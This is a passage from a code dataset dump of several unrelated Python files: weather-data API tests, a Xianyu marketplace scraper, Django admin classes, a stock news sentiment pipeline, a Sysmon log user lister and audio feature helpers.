= vertices[None, None, :]\n transformed = neural_renderer_torch.perspective(torch.as_tensor(vertices))\n np.testing.assert_allclose(transformed.flatten().numpy(), np.asarray(v_out, np.float32), rtol=1e-5)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests_torch/test_perspective.py","file_name":"test_perspective.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"495507056","text":"from io import StringIO\nfrom pathlib import Path\nfrom datetime import datetime\n\nimport pytest\nimport pandas as pd\nfrom pandas._testing import assert_frame_equal\n\nfrom wetterdienst.dwd.observations import (\n DWDObservationResolution,\n DWDObservationParameterSet,\n DWDObservationPeriod,\n)\nfrom wetterdienst.dwd.observations.api import DWDObservationData\nfrom wetterdienst.dwd.observations.metadata.parameter import (\n DWDObservationParameter,\n DWDObservationParameterSetStructure,\n)\nfrom wetterdienst.exceptions import StartDateEndDateError, NoParametersFound\n\nHERE = Path(__file__).parent\n\n# Set filename for mock\nfilename = \"tageswerte_KL_00001_19370101_19860630_hist.zip\"\n\n# Loading test data\nTEST_FILE = pd.read_json(HERE / \"FIXED_STATIONDATA.JSON\")\n\n# Prepare csv for regular \"downloading\" test\nCSV_FILE = StringIO()\nTEST_FILE.to_csv(CSV_FILE, sep=\";\", index=False)\nCSV_FILE.seek(0)\n\n\ndef test_dwd_observation_data_parameter_set():\n request = DWDObservationData(\n station_ids=[1],\n parameters=[\"kl\"],\n resolution=\"daily\",\n periods=[\"recent\", \"historical\"],\n )\n\n assert request == DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n periods=[DWDObservationPeriod.HISTORICAL, DWDObservationPeriod.RECENT],\n start_date=None,\n end_date=None,\n )\n\n assert request.parameters == [\n (\n DWDObservationParameterSet.CLIMATE_SUMMARY,\n DWDObservationParameterSet.CLIMATE_SUMMARY,\n )\n ]\n\n request = DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n periods=[DWDObservationPeriod.HISTORICAL, DWDObservationPeriod.RECENT],\n )\n\n assert request == DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n periods=[DWDObservationPeriod.HISTORICAL, DWDObservationPeriod.RECENT],\n start_date=None,\n end_date=None,\n )\n\n # station id\n with pytest.raises(ValueError):\n DWDObservationData(\n station_ids=[\"test\"],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n periods=[DWDObservationPeriod.HISTORICAL],\n resolution=DWDObservationResolution.DAILY,\n )\n\n\ndef test_dwd_observation_data_parameter():\n request = DWDObservationData(\n station_ids=[1],\n parameters=[\"precipitation_height\"],\n resolution=\"daily\",\n periods=[\"recent\", \"historical\"],\n )\n\n assert request == DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameter.DAILY.PRECIPITATION_HEIGHT],\n resolution=DWDObservationResolution.DAILY,\n periods=[DWDObservationPeriod.HISTORICAL, DWDObservationPeriod.RECENT],\n start_date=None,\n end_date=None,\n )\n\n assert request.parameters == [\n (\n DWDObservationParameterSetStructure.DAILY.CLIMATE_SUMMARY.PRECIPITATION_HEIGHT, # Noqa: E501, B950\n DWDObservationParameterSet.CLIMATE_SUMMARY,\n )\n ]\n\n with pytest.raises(NoParametersFound):\n DWDObservationData(\n station_ids=[1],\n parameters=[\"abc\"],\n resolution=DWDObservationResolution.DAILY,\n start_date=\"1971-01-01\",\n end_date=\"1951-01-01\",\n )\n\n\ndef test_dwd_observation_data_time_input():\n # time input\n request = DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n start_date=\"1971-01-01\",\n )\n\n assert request == DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n periods=[\n DWDObservationPeriod.HISTORICAL,\n ],\n start_date=pd.Timestamp(\"1971-01-01\"),\n end_date=pd.Timestamp(\"1971-01-01\"),\n )\n\n request = DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n periods=[DWDObservationPeriod.HISTORICAL],\n end_date=\"1971-01-01\",\n )\n\n assert request == DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n periods=[\n DWDObservationPeriod.HISTORICAL,\n ],\n start_date=pd.Timestamp(\"1971-01-01\"),\n end_date=pd.Timestamp(\"1971-01-01\"),\n )\n\n with pytest.raises(StartDateEndDateError):\n DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n start_date=\"1971-01-01\",\n end_date=\"1951-01-01\",\n )\n\n\ndef test_dwd_observation_data_dynamic_period():\n # Historical period expected\n request = DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n start_date=\"1971-01-01\",\n )\n\n assert request.periods == [\n DWDObservationPeriod.HISTORICAL,\n ]\n\n # Historical and recent period expected\n request = DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n start_date=\"1971-01-01\",\n end_date=pd.Timestamp(datetime.utcnow()) - pd.Timedelta(days=400),\n )\n\n assert request.periods == [\n DWDObservationPeriod.HISTORICAL,\n DWDObservationPeriod.RECENT,\n ]\n\n # Historical, recent and now period expected\n request = DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n start_date=\"1971-01-01\",\n end_date=pd.Timestamp(datetime.utcnow()),\n )\n\n assert request.periods == [\n DWDObservationPeriod.HISTORICAL,\n DWDObservationPeriod.RECENT,\n DWDObservationPeriod.NOW,\n ]\n\n # !!!Recent and now period cant be tested dynamically\n # TODO: add test with mocked datetime here\n\n # Now period\n request = DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n start_date=pd.Timestamp(datetime.utcnow()) - pd.Timedelta(hours=2),\n )\n assert DWDObservationPeriod.NOW in request.periods\n\n # No period (for example in future)\n request = DWDObservationData(\n station_ids=[1],\n parameters=[DWDObservationParameterSet.CLIMATE_SUMMARY],\n resolution=DWDObservationResolution.DAILY,\n start_date=pd.Timestamp(datetime.utcnow()) + pd.Timedelta(days=720),\n )\n\n assert request.periods == []\n\n\ndef test_create_humanized_column_names_mapping():\n \"\"\" Test for function to create a mapping to humanized column names \"\"\"\n kl_daily_hcnm = {\n # \"QN_3\": \"QUALITY_WIND\",\n \"FX\": \"WIND_GUST_MAX\",\n \"FM\": \"WIND_SPEED\",\n # \"QN_4\": \"QUALITY_GENERAL\",\n \"RSK\": \"PRECIPITATION_HEIGHT\",\n \"RSKF\": \"PRECIPITATION_FORM\",\n \"SDK\": \"SUNSHINE_DURATION\",\n \"SHK_TAG\": \"SNOW_DEPTH\",\n \"NM\": \"CLOUD_COVER_TOTAL\",\n \"VPM\": \"PRESSURE_VAPOR\",\n \"PM\": \"PRESSURE_AIR\",\n \"TMK\": \"TEMPERATURE_AIR_200\",\n \"UPM\": \"HUMIDITY\",\n \"TXK\": \"TEMPERATURE_AIR_MAX_200\",\n \"TNK\": \"TEMPERATURE_AIR_MIN_200\",\n \"TGK\": \"TEMPERATURE_AIR_MIN_005\",\n }\n hcnm = DWDObservationData(\n [0],\n [DWDObservationParameterSet.CLIMATE_SUMMARY],\n DWDObservationResolution.DAILY,\n [DWDObservationPeriod.RECENT],\n )._create_humanized_parameters_mapping()\n\n assert set(kl_daily_hcnm.items()).issubset(set(hcnm.items()))\n\n\ndef test_tidy_up_data():\n \"\"\" Test for function to tidy data\"\"\"\n df = pd.DataFrame(\n {\n \"STATION_ID\": [1048],\n \"DATE\": [pd.Timestamp(\"2019-01-23 00:00:00\")],\n \"QN_3\": [10],\n \"FX\": [11.8],\n \"FM\": [5.8],\n \"QN_4\": [3],\n \"RSK\": [0.0],\n \"RSKF\": [0.0],\n \"SDK\": [7.1],\n \"SHK_TAG\": [0.0],\n \"NM\": [2.3],\n \"VPM\": [3.2],\n \"PM\": [975.4],\n \"TMK\": [-5.5],\n \"UPM\": [79.17],\n \"TXK\": [-1.7],\n \"TNK\": [-7.9],\n \"TGK\": [-11.4],\n }\n )\n\n df_tidy = pd.DataFrame(\n {\n \"STATION_ID\": [1048] * 14,\n \"DATE\": [pd.Timestamp(\"2019-01-23 00:00:00\")] * 14,\n \"PARAMETER\": [\n \"FX\",\n \"FM\",\n \"RSK\",\n \"RSKF\",\n \"SDK\",\n \"SHK_TAG\",\n \"NM\",\n \"VPM\",\n \"PM\",\n \"TMK\",\n \"UPM\",\n \"TXK\",\n \"TNK\",\n \"TGK\",\n ],\n \"VALUE\": [\n 11.8,\n 5.8,\n 0.0,\n 0.0,\n 7.1,\n 0.0,\n 2.3,\n 3.2,\n 975.4,\n -5.5,\n 79.17,\n -1.7,\n -7.9,\n -11.4,\n ],\n \"QUALITY\": pd.Series(\n [10, 10, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3], dtype=pd.Int64Dtype()\n ),\n }\n )\n\n df_tidy = df_tidy.astype(\n {\n \"STATION_ID\": \"category\",\n \"PARAMETER\": \"category\",\n \"QUALITY\": \"category\",\n }\n )\n\n assert_frame_equal(df.dwd.tidy_up_data(), df_tidy)\n","sub_path":"tests/dwd/observations/test_api_data.py","file_name":"test_api_data.py","file_ext":"py","file_size_in_byte":10034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"483824764","text":"#-*-coding:utf-8-*-\n#在售产品名称,类别,价格,过往价格(部分有),成色,地理位置,词云\n#利用selenium+requests请求,正则表达式+lxml来解析网页,csv保存,带有headers,暂时不需要cookies,代理,\n#sleep太久也会报错,8秒容易报错,5秒不会\n#抓包不能爬取数据,因为ssl证书原因导致请求不了\n#不能直接从notepad++复制到pycharm,会导致缩进的错误和未知的错误\n#全局���量在多进程里面,每一个新进程都会等于重新调用整个函数(类),且是迭代完进去一个进程池里再运行每个进程\nimport re,csv\nfrom lxml import etree\nimport time\nimport os,pymysql,random\nimport xlrd,xlwt\nimport requests,json\nfrom multiprocessing import Pool\n\nclass Spider(object):\n def __init__(self):#这个适用非excel储存\n iplist = ['61.135.217.7:80']\n proxies = random.choice(iplist)\n self.user_agent_list = [\n 'MSIE (MSIE 6.0; X11; Linux; i686) Opera 7.23',\n 'Opera/9.20 (Macintosh; Intel Mac OS X; U; en)',\n 'Opera/9.0 (Macintosh; PPC Mac OS X; U; en)',\n 'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',\n 'Mozilla/4.76 [en_jp] (X11; U; SunOS 5.8 sun4u)',\n 'iTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2)',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20100101 Firefox/5.0',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0',\n 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20120813 Firefox/16.0',\n 'Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)',\n 'Mozilla/4.8 [en] (X11; U; SunOS; 5.7 sun4u)'\n ]\n proxies = {'http': 'http://' + proxies, 'https': 'https://' + proxies, }\n print(proxies)\n self.proxies = proxies\n self.referer = 'https://2.taobao.com/'\n\n #储存指数,使标题只能保存一次\n self.k=1\n #访问失败计数器\n self.n=0\n #访问成功计数器\n self.N=0\n #网页访问指数,达到4则放弃\n self.cu = 0\n #访问网址的总个数\n self.num=0\n #类别\n self.classification=2\n\n def get_ip(self):\n try:\n response = requests.get('http://localhost:5555/random')\n if response.status_code == 200:\n return response.text\n else:\n return None\n except:\n return None\n\n def spider(self,url):\n '''\n 获取响应,返回响应\n :param url:\n :return:\n '''\n try:\n proxies = self.get_ip()\n if proxies:\n self.proxies = {'http': 'http://' + proxies, 'https': 'https://' + proxies, }\n user_agent = random.choice(self.user_agent_list)\n # print(user_agent)\n headers = {'User-Agent': user_agent}\n response = requests.get(url, headers=headers)\n # print(response.text)\n if response.status_code==200:\n self.cu = 0\n self.N+=1\n return response.text\n else:\n if self.cu<4:\n self.cu+=1\n print('出错了,重试第{}次'.format(self.cu))\n self.spider(url)\n else:\n self.cu = 0\n self.n+=1\n print('被封了,或者网页不存在,跳过')\n return None\n except Exception as e:\n print(e)\n print('ip无效')\n print('出错了,重试第{}次'.format(self.cu))\n time.sleep(5)\n if self.cu < 4:\n self.cu += 1\n self.spider(url)\n else:\n self.n+=1\n print('被封了,或者网页不存在')\n return None\n\n def jiexi(self, response,classification,url):\n '''\n 解析,返回要爬取的内容\n :param response:\n :return:\n '''\n if response:\n pattern = re.compile(\n '(.*?).*?price big.*?(.*?).*?para.*?(.*?).*?para.*?(.*?)',\n re.S)\n items = re.findall(pattern, response)\n x=etree.HTML(response).xpath('//*[@id=\"J_Property\"]/ul[1]/li[2]/span[2]/text()')[0]\n data=x if x else \"无数据\"\n items.append(data)\n items.append(classification)\n items.append(url)\n print(items)\n yield items\n else:\n return None\n\n def csv(self, items):\n '''\n 保存数据到csv\n :param items:\n :return:\n '''\n with open('xianyudata.csv', 'a', encoding='utf-8') as f:\n names = ['name','classification','nowprice','originalprice','colour','address','url']\n writer = csv.writer(f)\n if items[3]=='http://2.taobao.com/item.htm?id=592838761902':\n writer.writerow(names)\n print(items[0][0],items[2],items[0][1],items[1],items[0][2],items[0][3],items[3])\n writer.writerow([items[0][0],items[2],items[0][1],items[1],items[0][2],items[0][3],items[3]])\n\n def main(self,url,classification):\n '''\n 进程启动入口\n :return:\n '''\n response=self.spider(url)\n # print('正在访问第{}个网址:'.format(self.num))\n # print('访问成功网址个数:{}'.format(self.N))\n # print('访问失败网址个数:{}'.format(self.n))\n # self.classification = row[1]\n if response:\n for items in self.jiexi(response,classification,url):\n #正在保存\n self.csv(items)\n\nif __name__=='__main__':\n f=Spider()\n start = time.time()\n pool = Pool(processes=6)\n with open('xianyu.csv', 'r', encoding='utf-8') as file:\n reader = list(csv.reader(file))\n for row in reader:\n if row:\n pool.apply_async(f.main,(row[0],row[1],) )\n pool.close() # 关闭进程池,不再接受新的进程\n pool.join() # 主进程阻塞等待子进程的退出\n end = time.time()\n data = end - start\n h = data // 3600\n yushu = data % 3600\n m = yushu // 60\n yushu = yushu % 60\n s = yushu\n print('用时:{}时{}分{}秒'.format(h, m, s))","sub_path":"xianyudata.py","file_name":"xianyudata.py","file_ext":"py","file_size_in_byte":6485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"356656304","text":"from django.contrib import admin\nfrom rangefilter.filter import DateRangeFilter, DateTimeRangeFilter\nfrom .models import Pingback, Instance, IPLocation, Message\n\npyvers = [\n \"2\",\n \"2.7\",\n \"2.7.1\",\n \"2.7.2\",\n \"2.7.3\",\n \"2.7.4\",\n \"2.7.5\",\n \"2.7.6\",\n \"2.7.7\",\n \"2.7.8\",\n \"2.7.9\",\n \"2.7.10\",\n \"2.7.11\",\n \"2.7.12\",\n \"2.7.13\",\n \"2.7.14\",\n \"2.7.15\",\n \"3\",\n \"3.4\",\n \"3.4.0\",\n \"3.4.1\",\n \"3.4.2\",\n \"3.4.3\",\n \"3.4.4\",\n \"3.4.5\",\n \"3.4.6\",\n \"3.4.7\",\n \"3.4.8\",\n \"3.4.9\",\n \"3.5\",\n \"3.5.0\",\n \"3.5.1\",\n \"3.5.2\",\n \"3.5.3\",\n \"3.5.4\",\n \"3.5.5\",\n \"3.5.6\",\n \"3.6\",\n \"3.6.0\",\n \"3.6.1\",\n \"3.6.2\",\n \"3.6.3\",\n \"3.6.4\",\n \"3.6.5\",\n \"3.6.6\",\n \"3.7\",\n \"3.7.0\",\n]\n\n\nclass ReadOnlyAdmin(admin.ModelAdmin):\n \"\"\"Provides a read-only view of a model in Django admin.\"\"\"\n\n readonly_fields = []\n\n def change_view(self, request, object_id, extra_context=None):\n \"\"\" customize add/edit form to remove save / save and continue \"\"\"\n extra_context = extra_context or {}\n extra_context[\"show_save_and_continue\"] = False\n extra_context[\"show_save\"] = False\n return super().change_view(request, object_id, extra_context=extra_context)\n\n def get_actions(self, request):\n actions = super().get_actions(request)\n if \"delete_selected\" in actions:\n del actions[\"delete_selected\"]\n return actions\n\n def get_readonly_fields(self, request, obj=None):\n return (\n list(self.readonly_fields)\n + [field.name for field in obj._meta.fields]\n + [field.name for field in obj._meta.many_to_many]\n )\n\n def has_add_permission(self, request):\n return False\n\n def has_delete_permission(self, request, obj=None):\n return False\n\n\nclass DefaultModeFilter(admin.SimpleListFilter):\n # Human-readable title which will be displayed in the\n # right admin sidebar just above the filter options.\n title = \"default mode\"\n\n # Parameter for the filter that will be used in the URL query.\n parameter_name = \"default_mode\"\n\n def lookups(self, request, model_admin):\n return ((\"yes\", \"Yes (public user)\"), (\"no\", \"No (LE user/dev)\"))\n\n def queryset(self, request, queryset):\n attrname = None\n if hasattr(queryset.model, \"mode\"):\n attrname = \"mode\"\n elif hasattr(queryset.model, \"last_mode\"):\n attrname = \"last_mode\"\n if self.value() == \"yes\":\n return queryset.filter(**{attrname: \"\"})\n elif self.value() == \"no\":\n return queryset.exclude(**{attrname: \"\"})\n\n\nclass PythonVersionFilter(admin.SimpleListFilter):\n title = \"python version\"\n\n parameter_name = \"python_version_prefix\"\n\n def lookups(self, request, model_admin):\n prefix = request.GET.get(self.parameter_name, \"\")\n target_comp_count = min(2, prefix.count(\".\") + 1 if prefix else 0)\n matching = [\n ver\n for ver in pyvers\n if ver.startswith(prefix)\n if ver.count(\".\") == target_comp_count\n ]\n return tuple([(ver, ver) for ver in matching])\n\n def queryset(self, request, queryset):\n if self.value():\n return queryset.filter(python_version__startswith=self.value())\n\n\nclass PingbackAdmin(ReadOnlyAdmin):\n list_display = (\"instance\", \"ip\", \"kolibri_version\", \"mode\", \"saved_at\", \"uptime\")\n list_filter = (\n DefaultModeFilter,\n (\"saved_at\", DateRangeFilter),\n \"kolibri_version\",\n \"mode\",\n )\n date_hierarchy = \"saved_at\"\n\n\nadmin.site.register(Pingback, PingbackAdmin)\n\n\nclass InstanceAdmin(ReadOnlyAdmin):\n list_display = (\n \"instance_id\",\n \"platform\",\n \"python_version\",\n \"database_id\",\n \"node_id\",\n \"first_seen\",\n \"last_seen\",\n \"last_mode\",\n )\n list_filter = (\n DefaultModeFilter,\n (\"first_seen\", DateRangeFilter),\n (\"last_seen\", DateRangeFilter),\n PythonVersionFilter,\n \"last_mode\",\n )\n date_hierarchy = \"first_seen\"\n\n\nadmin.site.register(Instance, InstanceAdmin)\n\n\nclass IPLocationAdmin(ReadOnlyAdmin):\n list_display = (\n \"ip_address\",\n \"host\",\n \"city\",\n \"subdivision\",\n \"country_name\",\n \"continent_name\",\n )\n list_filter = (\"continent_name\", \"country_name\")\n\n\nadmin.site.register(IPLocation, IPLocationAdmin)\n\n\nclass MessageAdmin(admin.ModelAdmin):\n list_display = (\"msg_id\", \"timestamp\", \"version_range\", \"status\", \"english_message\")\n list_editable = (\"status\",)\n list_filter = (\"status\",)\n date_hierarchy = \"timestamp\"\n\n\nadmin.site.register(Message, MessageAdmin)\n","sub_path":"nutritionfacts/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":4755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"186504491","text":"from db_helper import DBHelper as db\nfrom collect_data import GetDataYahoo as cd_yhoo\nfrom collect_data import GetDataIEX as cd_iex\nfrom logger import LoggerSetup\nimport pandas as pd\nfrom statistics import mean\nimport datetime\nimport time\nimport pysentiment as ps\nfrom threading import Thread\n\nclass IntegrateData:\n '''\n Collection of functions that control data integration into a Postgres DB.\n '''\n def __init__(self,logger,start_symbol=None):\n self.time_range = 5\n self.logger = logger\n self.db = db(self.logger)\n self.cd_yhoo = cd_yhoo(self.logger)\n self.cd_iex = cd_iex(self.logger)\n self.db.create_tables()\n \n def insert_symbols(self):\n '''\n Colllect symbols, check if already in database, if not insert into\n symbol table.\n '''\n try:\n symbols = self.cd_iex.collect_symbols()\n symbols = [s for s in symbols if not s.endswith('-')]\n symbols_db = self.db.get_symbols('all')\n if len(symbols_db) < len(symbols):\n not_in_db = [s for s in symbols if not s in symbols_db]\n print(not_in_db)\n self.logger.info(\"%d symbols found in database and %d \"\n \"symbols downloaded. Checking all symbols.\"\n %(len(symbols_db),len(symbols)))\n time.sleep(5)\n for symbol in symbols:\n self.db.insert_symbol(symbol)\n except Exception as e:\n self.logger.error(e, exc_info=True)\n \n def insert_prices_by_news(self):\n '''\n Collect and integrate prices for news found in database.\n '''\n symbols = self.db.get_symbols('news')\n if not symbols is None:\n for symbol in symbols:\n try:\n date_min = self.db.get_min_date_news(symbol) \n date, open_price, close_price, volume = self.cd_iex.collect_price_data(\n symbol=symbol, date_min=date_min, timeframe='5y')\n assert len(date) == len(open_price) == len(close_price)\n max_date_price = self.db.get_max_date_price(symbol)\n if not max_date_price is None:\n try:\n start_idx = date.index(max_date_price) + 1\n self.logger.info(\n \"Some price data already in database for %s.\"\n \" Starting from %s.\" %(symbol, max_date_price))\n except KeyError:\n start_idx = 0\n pass\n else:\n start_idx = 0\n self.logger.info(\"No price data found for %s. Starting from minimum date.\" %symbol)\n for i in range(start_idx,len(date)):\n self.db.insert_price(date[i], symbol,\n open_price[i], close_price[i], volume[i])\n except Exception as e:\n self.logger.error(e, exc_info=True)\n pass\n else:\n raise ValueError('No symbols found!')\n \n def fill_volume(self):\n '''\n Fill empty volume rows\n '''\n symbols = self.db.get_symbols('news')\n for symbol in symbols:\n try:\n date_min = self.db.get_min_date_news(symbol) \n date, open_price, close_price, volume = self.cd_iex.collect_price_data(\n symbol=symbol, date_min=date_min, timeframe='5y')\n assert len(date) == len(open_price) == len(close_price)\n max_date_price = self.db.get_max_date_price(symbol)\n start_idx = 0\n self.logger.info(\"No price data found for %s. Starting from minimum date.\" %symbol)\n for i in range(start_idx,len(date)):\n self.db.update_volume(date[i], symbol,\n open_price[i], close_price[i], volume[i])\n except Exception as e:\n self.logger.error(e, exc_info=True)\n pass\n \n def insert_news(self):\n '''\n Collect and integrate news found for each symbol\n '''\n symbols = self.db.get_symbols('all')\n if not symbols is None:\n for symbol in symbols:\n try:\n self.logger.info(\"Getting news for %s\" %symbol)\n dates_iex, headlines_iex, summaries_iex = self.cd_iex.collect_news_data(symbol)\n dates_yhoo, headlines_yhoo, summaries_yhoo = self.cd_yhoo.collect_news_data(symbol)\n print('Yahoo headlines')\n print(headlines_yhoo)\n dates = dates_iex + dates_yhoo\n headlines = headlines_iex + headlines_yhoo\n summaries = summaries_iex + summaries_yhoo\n max_date_news = self.db.get_max_date_news(symbol)\n if not max_date_news is None:\n date_list = [d.strftime('%Y-%m-%d') for d in dates]\n try:\n start_idx = date_list.index(max_date_news)\n except Exception:\n start_idx = 0\n pass\n else:\n start_idx = 0\n for i in range(start_idx,len(dates)):\n self.db.insert_news(dates[i], symbol,\n headlines[i], summaries[i]) \n except Exception as e:\n self.logger.error(e, exc_info=True)\n pass\n else:\n raise ValueError('No symbols found!')\n \n def determine_polarity(self):\n lm = ps.LM()\n news = self.db.get_news_empty_polarity()\n for news_record in news:\n try:\n summary = news_record['summary']\n headline = news_record['headline']\n date = news_record['date']\n symbol = news_record['symbol']\n score_summary = lm.get_score(lm.tokenize(str(summary)))\n score_headline = lm.get_score(lm.tokenize(str(headline)))\n polarity = mean([score_summary['Polarity'], score_headline['Polarity']])\n self.logger.info(\"%s: Polarity of summary: %s\\nPolarity \"\n \"of headline: %s\\nAverage Polarity: %s\\nDate: %s\"\n %(symbol, str(score_summary['Polarity']),\n str(score_headline['Polarity']), str(polarity), date))\n self.db.update_polarity_news(symbol, date, headline, polarity)\n except Exception as e:\n self.logger.error(e, exc_info=True)\n pass\n \n def update_polarity(self):\n symbols = self.db.get_symbols('news')\n if not symbols is None:\n for symbol in symbols:\n try:\n dates = self.db.get_dates(symbol,'news')\n dates = set([date[0].strftime('%Y-%m-%d') for date in dates])\n for date in dates:\n try:\n if self.db.check_price_exists(symbol,date):\n num_news = self.db.get_num_news(symbol, date)\n if num_news is None:\n num_news = 0\n self.logger.info(\"Number of news in news_data is %s\" %str(num_news))\n num_news_price_data = self.db.get_num_news_price_data(symbol, date)\n if num_news_price_data is None:\n num_news_price_data = 0\n self.logger.info(\"Number of news in price_data is %s\" %str(num_news_price_data))\n if num_news_price_data < num_news and num_news > 0:\n polarity_list = self.db.get_polarity_list(symbol, date)\n if not polarity_list is None and len(polarity_list) == num_news:\n i = num_news - num_news_price_data\n averaged_polarity = mean(list(polarity_list))\n self.db.update_polarity_price(symbol, date, averaged_polarity)\n self.db.update_num_news(symbol, date, (num_news_price_data + i))\n except Exception as e:\n self.logger.error(e, exc_info=True)\n pass\n except Exception as e:\n self.logger.error(e, exc_info=True)\n pass\n else:\n raise ValueError('No symbols found!')\n \ndef run_insert_symbols():\n logger_symbols = LoggerSetup('insert_symbols').get()\n IntegrateData(logger_symbols).insert_symbols()\n \ndef run_insert_news():\n i = 0\n logger_news = LoggerSetup(module='insert_news').get()\n while True:\n logger_news.info(\"Started news integration for the %d time\" %i)\n IntegrateData(logger_news).insert_news()\n time.sleep(10)\n i += 1\n \ndef run_insert_prices_by_news():\n i = 0\n logger_prices = LoggerSetup(module='insert_prices_by_news').get()\n while True:\n logger_prices.info(\"Started price integration for the %d time\" %i)\n IntegrateData(logger_prices).insert_prices_by_news()\n time.sleep(10)\n i += 1\n \ndef run_update_polarity():\n i = 0\n logger_polarity = LoggerSetup(module='update_polarity').get()\n while True:\n logger_polarity.info(\"Started polarity update for the %d time\" %i)\n IntegrateData(logger_polarity).update_polarity()\n time.sleep(10)\n i += 1\n \ndef run_determine_polarity():\n i = 0\n logger_polarity = LoggerSetup(module='determine_polarity').get()\n while True:\n logger_polarity.info(\"Started polarity calculation for the %d time\" %i)\n IntegrateData(logger_polarity).determine_polarity()\n i += 1\n \nif __name__ == '__main__':\n t1 = Thread(target=run_insert_symbols).start()\n t2 = Thread(target=run_insert_news).start()\n t3 = Thread(target=run_insert_prices_by_news).start()\n t4 = Thread(target=run_determine_polarity).start()\n t5 = Thread(target=run_update_polarity).start()\n \n \n","sub_path":"integrate_data.py","file_name":"integrate_data.py","file_ext":"py","file_size_in_byte":10695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"297491632","text":"import json\n\nusers = {}\n\ndef convertEvents(sysmon):\n for event in sysmon:\n if \"Microsoft-Windows-Sysmon\" in event:\n event = json.loads(event)\n\n if \"winlog\" in event:\n if \"event_data\" in event[\"winlog\"]:\n if \"User\" in event[\"winlog\"][\"event_data\"]:\n user = event[\"winlog\"][\"event_data\"][\"User\"]\n if user not in m:\n users[user] = 1\n \nwith open('./caldera_attack_evals_round1_day1_2019-10-20201108.json', 'r') as sysmon:\n convertEvents(sysmon)\n\nwith open('./empire_apt3_2019-05-14223117.json', 'r') as sysmon:\n convertEvents(sysmon)\n\nprint(f\"There are {len(users)} in total:\")\nfor user in users:\n print(user)","sub_path":"listings/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"174462408","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport librosa.display\nimport os\n\n\ndef get_files_from_directory(dir_name):\n \"\"\" RETURN A LIST OF THE FILES IN THE ARGUMENT OF THIS FUNCTION\n Arguments:\n dir_name - path to the directory where the *.wav files are stored\n \"\"\"\n list_of_files = np.array([])\n for root, dirs, files in os.walk(dir_name):\n for f in files:\n if f.endswith(\".wav\"):\n list_of_files = np.append(\n list_of_files, os.path.join(root, f))\n return list_of_files\n\ndef one_hotizize(targets, target_class_vector, target_class_number):\n \"\"\" CONVERT THE LETTERS REPRESENTING EMOTIONS INTO ONE HOT ENCODING\n Arguments:\n targes - list of emotion coressponding to each input file\n Returns:\n The one-hot encoded version of the targets\n \"\"\"\n targets = [target_class_vector[emotion] for emotion in targets]\n return np.eye(target_class_number)[targets]\n\ndef shuffle_data(inputs, targets):\n \"\"\" SHUFFLE BOTH THE INPUTS AND THE TARGETS IN THE SAME MANNER\n Returns:\n inputs, targets - the shuffled version of the data \n \"\"\"\n shuffle = np.arange(inputs.shape[0])\n np.random.seed(17)\n np.random.shuffle(shuffle)\n inputs = inputs[shuffle]\n targets = targets[shuffle]\n return inputs, targets\n\ndef show_pic(features, names, fig_size):\n \"\"\" LOG FUNCTION THAT PRINTS A PLOT FOR EACH FEATURE (MFCC, ZCR,.etc) OF ONE FILE\n \"\"\"\n i = 1\n plt.figure(figsize=fig_size)\n for signal in features:\n plt.subplot(np.shape(features)[0], 2, i)\n plt.title(names[i-1])\n librosa.display.specshow(signal)\n plt.colorbar()\n i = i+1\n plt.show()\n\nseed_ = 1\ndef generator_shuffle(data, change):\n global seed_\n seed_ += change\n np.random.seed(seed_)\n indexes = np.arange(data.shape[0])\n 